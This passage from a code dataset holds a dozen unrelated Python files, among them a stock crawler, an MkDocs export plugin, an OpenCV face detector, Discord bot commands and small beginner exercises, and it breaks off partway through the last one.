\"with\": 0, \"yield\": 0}\r\n\r\n filename = input(\"Enter the filename: \").strip()\r\n\r\n if not os.path.isfile(filename):\r\n print(\"File\", filename, \"does not exist\")\r\n sys.exit()\r\n\r\n readfile = open(filename, \"r\")\r\n\r\n text = readfile.readlines()\r\n\r\n # for i in range(len(text)):\r\n\r\n for line in text:\r\n for word in line.split():\r\n if word in keywords:\r\n keywords[word] += 1\r\n\r\n for itm in keywords:\r\n print(itm, \":\", keywords[itm])\r\n\r\n\r\nmain()\r\n\r\n\r\n\r\n","sub_path":"14.3.py","file_name":"14.3.py","file_ext":"py","file_size_in_byte":1016,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"137381142","text":"# -*- coding: utf-8 -*-\n# from __future__ import division, absolute_import\n\n# Thanks to Neal Becker\n\nimport numpy as np\nfrom numba import *\nfrom numba.vectorize import vectorize\nfrom math import exp, log1p\n\n\n@vectorize([f8(f8,f8)])\ndef log_exp_sum2 (a, b):\n if a >= b:\n return a + (exp (-(a-b)))\n else:\n return b + (exp (-(b-a)))\n ## return max (a, b) + log1p (exp (-abs (a - b)))\n\n\n#@autojit\n@jit(f8[:,:] (f8[:,:]))\ndef log_exp_sum (u):\n s = u.shape[1] # Test wraparound when implemented!\n if s == 1:\n return u[...,0]\n elif s == 2:\n return log_exp_sum2 (u[...,0], u[...,1])\n else:\n return log_exp_sum2 (\n log_exp_sum (u[...,:s/2]),\n log_exp_sum (u[...,s/2:]))\n\n\nfrom timeit import timeit\nL = 1000\nN = 100\nu = np.tile (np.log (np.ones (L)/L), (N, 1))\n#v = log_exp_sum (u)\nfrom timeit import timeit\nprint(timeit(\n 'log_exp_sum(u)', 'from __main__ import u, log_exp_sum', number=50))\n","sub_path":"oldnumba/tests/issues/test_issue_185.py","file_name":"test_issue_185.py","file_ext":"py","file_size_in_byte":963,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"255251296","text":"from pflacs import Premise\nbase = Premise(\"Base case\",\n parameters={\"a\":10,\"b\":5})\n#print(f\"base.a={base.a} base.b={base.b}\")\n\n\ndef adda(a, b, c=0):\n \"\"\"Add number b to number a. Optionally also add c.\n \"\"\"\n print(f\"«adda» w/args a={a} b={b}\", end=\"\")\n print(f\" c={c}\") if c else print()\n return a + b + c\n\nbase.plugin_func(adda) \n\n# result = base.adda()\n# print(f\"base.adda() result={result}\")\n\n# result = base.adda(b=-3)\n# print(f\"base.adda(b=-3) result={result}\")\n# result = base.adda(5, 4.2, -3)\n# print(f\"base.adda(5,4.2,-3) res={result}\")\n\n\ndef subx(x, y, z=0):\n \"\"\"Subtract number y from number x. Optionally also subract z.\n \"\"\"\n print(f\"«subx» w/args x={x} y={y}\", end=\"\")\n print(f\" z={z}\") if z else print()\n return x - y - z\n\nbase.plugin_func(subx, argmap={\"x\":\"a\",\n \"y\":\"b\", \"z\":\"c\"} )\nbase.add_param(\"c\", 6.5)\n# print(\"base.subx() =\", base.subx() )\n# print(\"base.subx(b=99) =\", base.subx(b=99) )\n\nlc1 = Premise(\"Load case 1\", parent=base,\n parameters={\"a\":100})\n# result = lc1.adda()\n# print(f\"lc1.adda() result={result}\")\n\nfrom pflacs import Calc\nlc1_sub = Calc(\"LC1 «subx()»\", lc1, funcname=\"subx\")\nlc1_sub(); print(lc1_sub._subx)\n#print(f\"lc1_sub() result={lc1_sub._subx}\")\n\nlc1_add = Calc(\"LC1 «adda()»\", lc1, funcname=\"adda\", \n argmap={\"return\":\"adda_res\"})\nlc1_add(); print(lc1_add.adda_res)\ndf = lc1_add.to_dataframe(); print(df)\n\nlc2 = base.add_child( lc1.copy() )\nlc2.name = \"Load case 2\"\nlc2.a = 200\nlc2_sub = lc2.get_child_by_name(\"LC1 «subx()»\")\nlc2_sub.name = \"LC2 «subx()»\"\nlc2_add = lc2.get_child_by_name(\"LC1 «adda()»\")\nlc2_add.name = \"LC2 «adda()»\"\n\n\ndef multk(k:\"a\", l:\"b\", m:\"c\" = 1) -> \"mult_res\":\n return k * l * m\nbase.plugin_func(multk)\nresult = base.multk()\nprint(f\"{base.a} * {base.b} * {base.c} = {result}\")\n\nlc3_mul = Calc(\"LC3 «multk()»\", base, funcname=\"multk\")\nimport numpy as np\nlc3_mul.b = np.linspace(0,10,3)\nlc3_mul()\nlc3_mul.to_dataframe()\n# print(f\"{lc3_mul.a}*{lc3_mul.b}*{lc3_mul.c}={lc3_mul.mult_res}\")\n\nfor _n in base:\n if type(_n) == Calc:\n _n()\n\nbase.savefile(\"simple_study.pflacs\")\n\nfor node in base:\n if type(node) == Calc:\n node.to_hdf5()\n\n","sub_path":"drafts/simple_pflacs.py","file_name":"simple_pflacs.py","file_ext":"py","file_size_in_byte":2213,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"563642899","text":"#same class as Number_Advanced4.py, except using the error check function clled 'confirmInt' which has now been added to NumberCruncher.py\r\nimport NumberCruncher #using the class \"NumberCruncher\"\r\n\r\nvalidInput1 = int #THERE IS DEFINATELY A BETTER WAY TO DO THIS, SOME SORT OF \".CHECK()\" TOOLS IS MOST LIKELY AVAILABLE\r\nvalidInput2 = int #BUT FOR RIGHT NOW, COMPARE THIS TO \"Number_Advanced4.py\" TO WORK OUT WHY I HAD TO USE IT\r\n #I DON'T EVEN NEED TO DECLARE THEM HERE! I CAN JUST DECLARE LAETER BUT FOR THIS EXAMPLE,\r\n #GOOD TO HAVE THEM HERE SO WE CAN SEE WHAT THEY DO\r\n\r\nuserInput1 = (input(\"Enter your first number: \"))\r\nvalidAnswer = NumberCruncher.confirmInt(userInput1) #use my function 'NumberCruncher.checkInt' above to make sure it's a number\r\nwhile validAnswer == False: #Creates a while loop that follows the indented instruction below\r\n print(\"No.. that is not avalid entry\")\r\n userInput1 = (input(\"Enter your first number again: \"))\r\n validAnswer = NumberCruncher.confirmInt(userInput1) #this updates the validAnswer variable, eventually allowing us to break this loop\r\n # when the user enter an actual integer\r\nvalidInput1 = int(userInput1)\r\n\r\n\r\n\r\nuserInput2 = (input(\"Enter your second number: \"))\r\nvalidAnswer = NumberCruncher.confirmInt(userInput2) #use my function 'NumberCruncher.confirmInt' above to make sure it's a number\r\nwhile validAnswer == False: #Creates a while loop that follows the indented instruction below\r\n print(\"No.. that is not avalid entry\")\r\n userInput2 = (input(\"Enter your second number again: \"))\r\n validAnswer = NumberCruncher.confirmInt(userInput2) #this updates the validAnswer variable, eventually allowing us to break this loop\r\n # when the user enter an actual integer\r\nvalidInput2 = int(userInput2)\r\n\r\nprint(\"Your entries added together = \",(NumberCruncher.addition(validInput1,validInput2)))\r\n#The above print line gives the user entries to the function 'addition' inside 'NumberCruncher'\r\n#The below print lines to the same with their respected functions\r\n\r\nprint(\"Your entries subtracted from one another = \",(NumberCruncher.subtraction(validInput1,validInput2)))\r\nprint(\"Your entries divided by each other = \",(NumberCruncher.divide(validInput1,validInput2)))\r\nprint(\"Your entries multiplied together = \",(NumberCruncher.multiply(validInput1,validInput2)))\r\n\r\n#Below displays same answers but in sum form\r\nprint(validInput1,\" + \", validInput2, \" = \",(NumberCruncher.addition(validInput1,validInput2)))\r\nprint(validInput1,\" - \", validInput2, \" = \",(NumberCruncher.subtraction(validInput1,validInput2)))\r\nprint(validInput1,\" / \", validInput2, \" = \",(NumberCruncher.divide(validInput1,validInput2)))\r\nprint(validInput1,\" * \", validInput2, \" = \",(NumberCruncher.multiply(validInput1,validInput2)))\r\n\r\n\r\n#NOW TO USE THE DATA IN A DIFFERENT WAY\r\n\r\n\r\naddtionAnswer = (NumberCruncher.addition(validInput1,validInput2)) #loads answer from addition function and so on for the 3 lines\r\nsubAnswer = (NumberCruncher.subtraction(validInput1,validInput2))\r\ndivAnswer = (NumberCruncher.divide(validInput1,validInput2))\r\ntimesAnswer =(NumberCruncher.multiply(validInput1,validInput2))\r\n\r\n#Loads new variables with data to pass test for zero function\r\nsubZeroCheck =(NumberCruncher.notZero(subAnswer)) #passes subAnswer to zeroCheck function in NumberCruncher class\r\naddZeroCheck =(NumberCruncher.notZero(addtionAnswer)) #passes addAnswer to zeroCheck function in NumberCruncher class\r\ndivZeroCheck =(NumberCruncher.notZero(divAnswer)) #passes divAnswer to zeroCheck function in NumberCruncher class\r\ntimesZeroCheck =(NumberCruncher.notZero(timesAnswer)) #passes timesAnswer to zeroCheck function in NumberCruncher class\r\n\r\n#prints zero check results\r\nprint(\"Did adding give zero as an answer? :\",addZeroCheck) #these lines should explain themselves\r\nprint(\"Did subtracting give zero as an answer? :\",subZeroCheck)\r\nprint(\"Did dividing give zero as an answer? :\",divZeroCheck)\r\nprint(\"Did multiplyinh give zero as an answer? :\",timesZeroCheck)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"Number_Advanced4-3.py","file_name":"Number_Advanced4-3.py","file_ext":"py","file_size_in_byte":4172,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"472175798","text":"import requests\nfrom bs4 import BeautifulSoup\nimport urllib\nimport datetime\nimport time\n\nimport pymysql as pysql\n\ndef insertStock(arr):\n conn = pysql.connect(host='localhost', port=3307, user='root', password='python', db='pydb', charset='utf8')\n cur = conn.cursor()\n \n sql = \"\"\"INSERT INTO stock (s_name, s_code, price, crw_date)\n VALUES(%s, %s, %s, %s)\"\"\"\n \n cnt = cur.executemany(sql, arr) \n print(cnt)\n \n conn.commit()\n cur.close()\n conn.close()\ncount = 0\nfor i in range(10):\n response = requests.get(\"http://stock.hankyung.com/apps/rank.panel_sub?market=1\")\n response.encoding = \"euc-kr\"\n soup = BeautifulSoup(response.text, \"html.parser\")\n sbjs = soup.select(\".sbj\")\n \n crw_date = datetime.datetime.now().strftime(\"%Y%m%d,%H%M\")\n \n arr = []\n count += 1\n for sbj in sbjs:\n s_name = sbj.text\n s_code = sbj.a[\"href\"].split(\"=\")[1]\n price = sbj.parent.select(\"td\")[1].text.replace(\",\", \"\")\n arr.append((s_name,s_code,price,crw_date))\n \n insertStock(arr)\n print(count,\"번째 인서트중\")\n time.sleep(60)\n\n\n \n \n\n\n","sub_path":"HelloPython/day08/mycrawl06stock.py","file_name":"mycrawl06stock.py","file_ext":"py","file_size_in_byte":1136,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"382761517","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\n\nclass Robot(object):\n def __init__(self,x,y,vx,vy,taille,collision_avoidance_coefficient,aggressive_flocking_coefficient,collision_sensibility_radius):\n self.x = x\n self.y = y\n self.vx = vx\n self.vy = vy\n self.taille = taille\n self.collision_avoidance_coefficient = collision_avoidance_coefficient\n self.aggressive_flocking_coefficient = aggressive_flocking_coefficient\n self.collision_sensibility_radius = collision_sensibility_radius\n\n def position(self):\n return(np.array([self.x,self.y]))\n\n def imprime_robot(self,ax):\n size = self.taille\n x_1 = self.x\n y_1 = self.y\n color = np.array([\"green\"])\n ax.scatter(x_1,y_1,s=size,c=color)\n","sub_path":"projet robots/robot.py","file_name":"robot.py","file_ext":"py","file_size_in_byte":796,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"297263178","text":"# coding: utf8\n# intente algo como\ndef asignarPermiso():\n listado = db(db.auth_user.registration_key == 'pending').select(db.auth_user.id,db.auth_user.dni, db.auth_user.first_name, db.auth_user.last_name, db.auth_user.email,db.auth_user.registration_key)\n\n tabla = SQLTABLE((listado),\n headers={'auth_user.id':'ID', \n 'auth_user.dni':'DNI', \n 'auth_user.first_name':'Nombre',\n 'auth_user.last_name':'Apellido',\n 'auth_user.email':'E-mail',\n 'auth_user.registration_key':'Estado'},\n linkto ='editar')\n form=SQLFORM(db.auth_membership)\n if form.accepts(request.vars,session):\n response.flash='Se asigno membresia'\n return dict (form = form, tabla = tabla)\n\ndef editar():\n id = request.args[1]\n query = db(db.auth_user.id == id).select(db.auth_user.last_name,db.auth_user.first_name,db.auth_user.registration_key)\n form = SQLFORM(db.auth_user, id, fields = ['last_name','first_name','registration_key'] )\n if form.accepts(request.vars,session):\n response.flash = 'Listo!'\n redirect(URL(r=request, f='asignarPermiso'))\n elif form.errors:\n response.flash = 'Hay uno o mas errores'\n return dict(form = form)\n","sub_path":"controllers/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":1262,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"281441332","text":"import discord\nfrom redbot.core import commands\nimport asyncio\n\nclass PressF(commands.Cog):\n \"\"\"You can now pay repect to a person\"\"\"\n\n def __init__(self, bot):\n self.bot = bot\n self.messager = {}\n self.messagem = {}\n\n @commands.command(pass_context=True, no_pm=True)\n async def pressf(self, ctx, user: discord.User=None):\n \"\"\"Pay Respects by pressing f\"\"\"\n\n author = ctx.author\n channel = ctx.channel\n\n if channel.id in self.messager or channel.id in self.messagem:\n return await ctx.send(\"Oops! I'm still paying respects in this channel, you'll have to wait until I'm done.\")\n \n def check_message(m):\n return (m.author == author and m.channel == channel)\n\n if user:\n answer = user.display_name\n else:\n await ctx.send(\"What do you want to pay respects to?\")\n message = await self.bot.wait_for(\"message\", check=check_message, timeout=120.0)\n\n if message is None:\n return await ctx.send(\"You took too long to reply.\")\n \n answer = message.content\n \n msg = f\"Everyone, let's pay respects to **{answer}**! Press the F reaction on this message to pay respects.\"\n\n message = await ctx.send(msg)\n\n try:\n await message.add_reaction(\"\\U0001f1eb\")\n self.messager[channel.id] = []\n react = True\n except:\n self.messagem[channel.id] = []\n react = False\n await message.edit(content=f\"Everyone, let's pay respects to **{answer}**! Press the F reaction on the this message to pay respects.\")\n\n def check(m):\n return m.channel == ctx.channel\n\n await self.bot.wait_for(\"message\", check=check)\n\n await asyncio.sleep(120)\n await message.delete()\n\n if react:\n amount = len(self.messager[channel.id])\n else:\n amount = len(self.messagem[channel.id])\n\n amount_of_people = \"person has\" if str(amount) == \"1\" else \"people have\"\n await channel.send(f\"**{amount}** {amount_of_people} paid respects to **{answer}**.\")\n \n if react:\n del self.messager[channel.id]\n else:\n del self.messagem[channel.id]\n \n async def on_reaction_add(self, reaction, user):\n message = reaction.message\n channel = message.channel\n\n if user.id == self.bot.user.id:\n return\n if channel.id not in self.messager:\n return \n if user.id not in self.messager[channel.id]:\n if str(reaction.emoji) == \"\\U0001f1eb\": \n await channel.send(f\"**{user.mention}** has paid respects.\")\n self.messager[channel.id].append(user.id)\n\n async def on_message(self, message):\n channel = message.channel\n user = message.author\n\n if channel.id not in self.messagem:\n return \n if user.id not in self.messagem[channel.id]:\n if message.content.lower() == \"f\":\n await ctx.send(\"**{user.mention}** has paid respects.\")\n self.messagem[channel.id].append(user.id)\n","sub_path":"cherubim/pressf.py","file_name":"pressf.py","file_ext":"py","file_size_in_byte":3203,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"350696901","text":"# -*- coding: utf-8 -*-\n__author__ = 'Sally Wang'\n\nfrom bs4 import BeautifulSoup\nimport re\nfrom decimal import Decimal as D\nfrom commons import common\nfrom commons.const import const\nfrom testCase.departments.testGetDepartment import GetDepartment\nfrom testCase.users import testGetUser as users\n\nclass GetLeads:\n def __init__(self, cookie, csrf):\n #'https://e.ikcrm.com/\n # self.base_url = base_url\n self.common = common.Common(cookie, csrf)\n self.base_url = const.BASE_URL\n self.base_url2 = const.SIGN_IN_BASE_URL\n self.testGetDepartment = GetDepartment(cookie, csrf)\n self.user = users.GetUser(cookie, csrf)\n self.csrf = csrf\n self.cookie = cookie\n pass\n\n #获得所有的我的线索，我下属的线索，我的线索来查询 获取线索tab\n def get_all_scope(self):\n url = self.base_url + 'leads/'\n params = {\n 'scope':'all_own',\n 'section_only':'true'\n }\n response = self.common.get_response_json(url, params, '获取线索页面的scope')\n soup = BeautifulSoup(response.content, 'html.parser')\n scopes = re.findall(r\"leads\\?scope=(.*?)\\\">\",str(soup))\n return scopes\n\n #线索查重\n def duplicate_leads(self):\n url = self.base_url + 'duplicate'\n params = {\n 'add': 'yes',\n 'key': 'lead'\n }\n self.common.get_response_json(url, params, '打开线索查重')\n url = self.base_url + 'duplicate/search'\n params = {\n 'key': 'lead',\n 'query': '1323234'\n }\n response = self.common.get_response_json(url, params, '线索查重')\n #To Be Done 查重没有数据之后新增线索\n if response:\n print (\"Lead's duplication is passed!\")\n else:\n print (\"Sorry, Lead's duplication is fialed!\")\n\n # 获取当前页的lead_id\n def lead_ids(self):\n url = self.base_url + 'leads'\n body = {\n 'order': 'asc',\n 'scope': 'all_own',\n 'sort': 'leads.updated_at desc',\n 'per_page': 10,\n 'type': 'advance',\n 'section_only': 'true'\n }\n response = self.common.get_response_json(url, body, '获取当前页的线索')\n if not response:\n return {}\n self.response = response\n S = self.response.content\n soup = BeautifulSoup(S, \"html.parser\")\n # print(soup)\n checked_lead = soup.find(attrs={'data-entity-table-name': 'lead'})\n if checked_lead:\n a = str(checked_lead)\n lead_id_list = re.findall(r\"data-id=\\\"(.*?)\\\">\", a)\n return lead_id_list\n\n # 导出所选线索\n def export_selected_leads(self, scope):\n lead_ids = self.lead_ids()\n url = self.base_url + 'leads?export_page=1&format_type=calculate_export_pages&order=asc&per_page=10&scope=' + scope + '&sort=leads.updated_at+desc&type=advance&selected_ids%5B%5D=' + \\\n lead_ids[0] + '&selected_ids%5B%5D=' + lead_ids[1] + '&format=js'\n self.common_get_resonse_json(url, 'export_selected_leads')\n url = self.base_url + 'leads.js?export_page=1&format_type=xlsx&order=asc&per_page=10&scope=' + scope + '&selected_ids%5B%5D=' + \\\n lead_ids[0] + '&selected_ids%5B%5D=' + lead_ids[\n 1] + '&sort=leads.updated_at+desc&type=advance'\n self.common_get_resonse_json(url, 'excute download export selected file')\n\n # 导出全部线索\n def export_all_leads(self, scope):\n url = self.base_url + 'leads?format_type=calculate_export_pages&order=asc&per_page=10&scope=' + scope + '&sort=leads.updated_at+desc&type=advance'\n self.common_get_resonse_json(url, 'export_all_leads')\n\n # 点击下载文档\n url = self.base_url + 'leads?export_page=1&format_type=xlsx&order=asc&per_page=10&scope=' + scope + '&sort=leads.updated_at+desc&type=advance'\n self.common_get_resonse_json(url, 'excute download export all lead file')\n\n # 获取单个线索详情\n def get_lead(self, lead_id):\n url = self.base_url + 'leads/' + str(lead_id)\n body = {}\n response = self.common.get_response_json(url, body, '获取当前线索详情')\n if response != False:\n soup = BeautifulSoup(response.content, 'html.parser')\n return soup\n\n\n\n #查看线索的任务\n def get_events(self, lead_id):\n url = self.base_url + 'events?entity_id='+str(lead_id)+'&entity_klass=Lead'\n params = {\n 'entity_id': lead_id,\n 'entity_klass': 'Lead'\n }\n self.common.get_response_json(url, params, '获取当前线索的任务')\n\n #查看线索下的附件\n def get_attachment(self, lead_id):\n url = self.base_url + 'api/attachments?page=&perPage=15&entity_id='+str(lead_id)+'&klass=Lead&sub_type=file'\n params = {\n 'page':'',\n 'perPage':15,\n 'entity_id':lead_id,\n 'klass':'Lead'\n }\n self.common.get_response_json(url, params, '获取当前线索的附件')\n\n #查看线索的操作日志\n def get_operation_logs(self, lead_id):\n url = self.base_url + 'api/operation_logs?page=&perPage=15&loggable_id='+str(lead_id)+'&loggable_type=Lead'\n params = {\n 'page':'',\n 'perPage':15,\n 'loggable_id':lead_id,\n 'loggable_type':'Lead'\n }\n self.common.get_response_json(url, params, '查看线索的操作日志')\n","sub_path":"testCase/leads/testGetLeads.py","file_name":"testGetLeads.py","file_ext":"py","file_size_in_byte":5580,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"237615420","text":"import cv2\nimport numpy as np\nimport os\n\nface_cascade = cv2.CascadeClassifier('haarcascade_frontalface_default.xml')\n#CascadeClassifier object and file contains the face features\neye_cascade = cv2.CascadeClassifier('haarcascade_eye.xml')\n\ncap=cv2.VideoCapture(0)\ncap.set(cv2.CAP_PROP_FRAME_HEIGHT,700)\ncap.set(cv2.CAP_PROP_FRAME_WIDTH,700)\npath='/home/pranjal/Desktop/RM/RM-Coding-kids/Pranjal/OpenCV/Haar_Cascade_Classifier'\ni,j=0,0\nwhile True:\n ret,img=cap.read()\n gray=cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)\n faces=face_cascade.detectMultiScale(gray,1.5,5) #Helps to find the face co-ordinates\n #1.3 is scale factor . Decrease the shape value until the\n #face is found . Smaller the value , greater the accuracy\n for (x,y,w,h) in faces:\n cv2.rectangle(img,(x,y),(x+w,y+h),(0,255,0),2) # Getting the coordinates for the face rectangle\n #Remove comments to use eye detection\n \"\"\"\n roi_gray=gray[y:y+h,x:x+h]\n roi_color=img[y:y+h,x:x+h]\n eyes=eye_cascade.detectMultiScale(roi_gray,1.3,5)\n for ex,ey,ew,eh in eyes:\n cv2.rectangle(roi_color,(ex,ey),(ex+ew,ey+eh),(255,0,0),2)\n \"\"\"\n\n var=cv2.waitKey(1)\n if var == ord('q'):\n break\n\n #Saving screenshots for collecting images for dataset\n elif var == ord('p'):\n cv2.imwrite(os.path.join(path,'face{}{}.png'.format('Pranjal',i)),img)\n i=i+1\n elif var == ord('d'):\n cv2.imwrite(os.path.join(path,'face{}{}.png'.format('Diwij',i)),img)\n j=j+1\n cv2.imshow('face',img)\n\ncap.release()\ncv2.destroyAllWindows()\n","sub_path":"Second_Years/Pranjal/OpenCV/Haar_Cascade_Classifier/.ipynb_checkpoints/openCV_Face_detection-checkpoint.py","file_name":"openCV_Face_detection-checkpoint.py","file_ext":"py","file_size_in_byte":1681,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"436516763","text":"from mkdocs.plugins import BasePlugin\nimport os\n\nclass MarkdownRenamePlugin(BasePlugin):\n # these are obviously paths\n export_path = os.path.join(os.getcwd(), 'export')\n asset_export_path = os.path.join(export_path, 'edw-assets')\n site_path = os.path.join(os.getcwd(), 'site')\n\n # this dictionary will hold all of the html file names for each Page\n ex = dict()\n\n # make the export_path if it doesn't already exist\n if not os.path.exists(export_path): os.mkdir(os.path.join(export_path))\n \n # Here we are going to take the already built `site_navigation` object and make our own dictionary object with the file names \n # we are going to need for the UDH Documentation Site.\n # The description per MSDOCS own documentation { https://www.mkdocs.org/user-guide/plugins/#on_nav } states as follows:\n # \"The `nav` event is called after the site navigation is created and can be used to alter the site navigation.\"\n def on_nav(self, site_navigation, config):\n print('\\nbuilding file list'.upper())\n self.ex = { \n nav.title: 'index.html' if nav.url.strip('/').split('/')[-1] == '.' else '{}.html'.format(nav.url.strip('/').split('/')[-1]) \n for nav in site_navigation \n }\n print('... file list built successfully')\n return site_navigation\n\n # We only call this event because it happens before any of the page content is handled and the 'page content handling'\n # is where most of our manipulation occurs. I only wanted the message \"begin export\" to fire once before we start exporting\n # so I put it here.\n # A full description of this event can be found at https://www.mkdocs.org/user-guide/plugins/#on_post_template\n # in case we want to use it for something a little more worthy of its existence later.\n def on_post_template(self, output_content, template_name, config):\n print('\\nbegin exporting'.upper())\n print('\\ncontent ---')\n return output_content\n\n # Here is where the bulk of the 'magic' happens.\n # For each file, the event is called for every file that is rendered, we take its contents and put it in to the file \n # that will be exported.\n # The description per MSDOCS own documentation { https://www.mkdocs.org/user-guide/plugins/#on_post_page } states as follows: \n # \"The `post_template` [sic] event is called after the template is rendered, but before it is written to disc and can be used \n # to alter the output of the page. If an empty string is returned, the page is skipped and nothing is written to disc.\"\"\n def on_post_page(self, site_navigation, page, config):\n filename = self.ex[page.title]\n export_fullpath = os.path.join(self.export_path, filename) \n # do the actual thing\n with open(os.path.join(export_fullpath), \"w\") as f:\n f.write(site_navigation)\n print('... {} exported successfully'.format(filename))\n\n # return the content for the real mkdocs functionality \n return site_navigation\n\n def on_post_build(self, config):\n # at the time of this writing we already know the structure of the file tree and that there is only \n # one child directotry in any of the folders we are looping through.\n # a better and more general solution would be to turn this entire routine in a recursively called function \n # but this will do, for now\n print('\\nassets ---')\n # first things first, check if the exports folder for assets exists and if not make it\n if not os.path.exists(self.asset_export_path): os.mkdir(self.asset_export_path)\n for pth in config['assetpaths']:\n # is it a directory? \n for n in os.listdir(os.path.join(self.site_path, pth)):\n # it is? then loop through all of its children\n # are any of these directories? \n if os.path.isdir(os.path.join(self.site_path, pth, n)):\n # found one? then make it's exports folder equivalent folder then loop through and get the files. \n if not os.path.exists(os.path.join(self.asset_export_path, n)): os.mkdir(os.path.join(self.asset_export_path, n))\n # now lets actually cycle through and copy files from the origin { site_path/pth/n } \n # to their new, if temporary, home { asset_export_path/n/f }\n for f in os.listdir(os.path.join(self.site_path, pth, n)):\n content = self.get_asset_file(os.path.join(pth, n, f))\n if content is not None:\n filename = os.path.join(self.asset_export_path, n, f)\n with open(filename, \"w\") as w:\n w.write(content)\n print('... {} exported successfully'.format(os.path.join(pth, n, f)))\n else:\n # it's not? then just put the file where it needs to go\n content = self.get_asset_file(os.path.join(pth, n))\n if content is not None:\n filename = os.path.join(self.asset_export_path, n)\n with open(filename, \"w\") as w:\n w.write(content)\n print('... {} exported successfully'.format(os.path.join(pth, n)))\n\n # this is just a helper function that gets the content for the file path provided. \n def get_asset_file(self, _pth):\n filename = os.path.join(self.site_path, _pth)\n if os.path.exists(filename):\n with open(filename, \"r\") as f:\n return f.read()\n else:\n print('Unable to locate the file {}'.format(filename))\n return None","sub_path":"mkdocs-mkrename-plugin/mkrename/plugin.py","file_name":"plugin.py","file_ext":"py","file_size_in_byte":5301,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"261570869","text":"import webapp2, json, sys, views\nfrom google.appengine.ext import ndb\nfrom google.appengine.datastore.datastore_query import Cursor\nsys.path.insert(0,'libs')\nimport models\n\n\nclass MusicianHandler(views.Template):\n\tdef get(self):\n\t\tuser = self.user_check()\n\t\tmusician = ndb.Key(urlsafe = self.request.get('id')).get()\n\n\t\tif user:\n\t\t\tif musician.user_key == user.key: \n\t\t\t\thide_follow = True \n\t\t\t\tuser_following = False\n\n\t\t\telse:\n\t\t\t\thide_follow = False\n\t\t\t\tuser_following = models.following.Following.get_by_keys(self.user_check().key, musician.key)\n\t\telse:\n\t\t\tuser_following = False\n\t\t\thide_follow = True\n\n\t\t#query all videos for this artist\n\t\tvideos = models.videos.Videos.fetch_by_musician(musician.key)\n\n\t\t#count of musicians by state\n\t\ttotal_musicians = models.musician.Musician.count_by_state(musician.musician_state)\n\t\t\t\n\n\t\t\n\t\ttemplate_values = {'hide':hide_follow,\n\t\t\t\t\t\t 'musician':musician, \n\t\t\t\t\t\t 'videos':videos, \n\t\t\t\t\t\t 'call_b':str(self.request.path), \n\t\t\t\t\t\t 'is_following':user_following,\n\t\t\t\t\t\t 'state_count':total_musicians}\n\t\t\t\t\t\t \n\t\tself.render('musician.html', template_values)\n \t\t \t\t \t\t\napp = webapp2.WSGIApplication([\n \n ('/musician*', MusicianHandler)\n \n], debug=True)\n\n\n","sub_path":"musician.py","file_name":"musician.py","file_ext":"py","file_size_in_byte":1262,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"376954377","text":"import discord\nfrom discord.ext import commands\nimport random\nimport config\nimport quotes\nimport asyncio\nfrom discord.ext.commands import cooldown\nimport string\n \nprint(' _ __ _ ____ _ ')\nprint(' | |/ /___| |_ ___ | __ ) ___ | |_ ')\nprint(' | . // _ \\ __/ _ \\| _ \\ / _ \\| __|')\nprint(' | . \\ __/ || (_) | |_) | (_) | |_ ')\nprint(' |_|\\_\\___|\\__\\___/|____/ \\___/ \\__|')\nprint(' ')\n \nbot = commands.Bot(command_prefix=config.prefix)\nbot.remove_command(\"help\")\n \n@bot.event\nasync def on_ready():\n await bot.change_presence(activity=discord.Game(name=\";help | Keylogging Keto\"))\n print('------')\n print('Ready!')\n print('------')\n print('Logged in as:')\n print(bot.user.name)\n print('------')\n print('Connected to:')\n for server in bot.guilds:\n print(' ')\n print(server.name)\n print(server.id)\n print('------')\n print('© Toilet Cat Technologies')\n print('------')\n \nasync def self_check(ctx):\n if 637090083144728576 == ctx.message.author.id:\n return True\n else:\n await ctx.send(f\"<@{ctx.author.id}> is not in the sudoers file. This incident will be reported.\")\n# A secondary check to ensure nobody but the owner can run these commands.\n\n@bot.command()\nasync def help(ctx):\n embed=discord.Embed(title=\"Gordo Quotes\", url=\"https://toilet.cat/\", description=\"Quoting bitches since 2019.\")\n embed.set_thumbnail(url=\"https://raw.githubusercontent.com/xstecky/xstecky.github.io/master/toilet_cat.gif\")\n embed.add_field(name=\"Prefix\", value=\"``;``\", inline=False)\n embed.add_field(name=\"Quotes\", value=\"``ketoquote`` ``humanquote`` ``gaynasaquote`` ``gordoquote`` ``ramsquote``\", inline=False)\n embed.add_field(name=\"Fun\", value=\"``m8b`` ``gordoalt``\", inline=True)\n embed.add_field(name=\"Info\", value=\"``github``\", inline=True)\n embed.add_field(name=\"Other\", value=\"``say`` ``changegame``\", inline=True)\n embed.set_footer(text=\"© Toilet Cat Technologies\")\n await ctx.send(embed=embed)\n print (f\"{ctx.message.author.name} requested the help embed in {ctx.guild.name}!\")\n\n@bot.command()\nasync def m8b(ctx):\n messages = [\"Yes.\", \"No.\", \"Ask Gordo.\", \"Absolutely.\", \"Fuck no.\", \"Yes – definitely.\", \"Bruh. Really?\", \"Star Keto Bot on GitHub, then I'll answer.\", \"Error 523: Can't reach toilet.cat/8banswers.json\", \"Don't count on it.\", \"I need a Juul hit before I can give an accurate answer.\"]\n m8b = (ctx.message.content)\n embed=discord.Embed(title=\"Magic 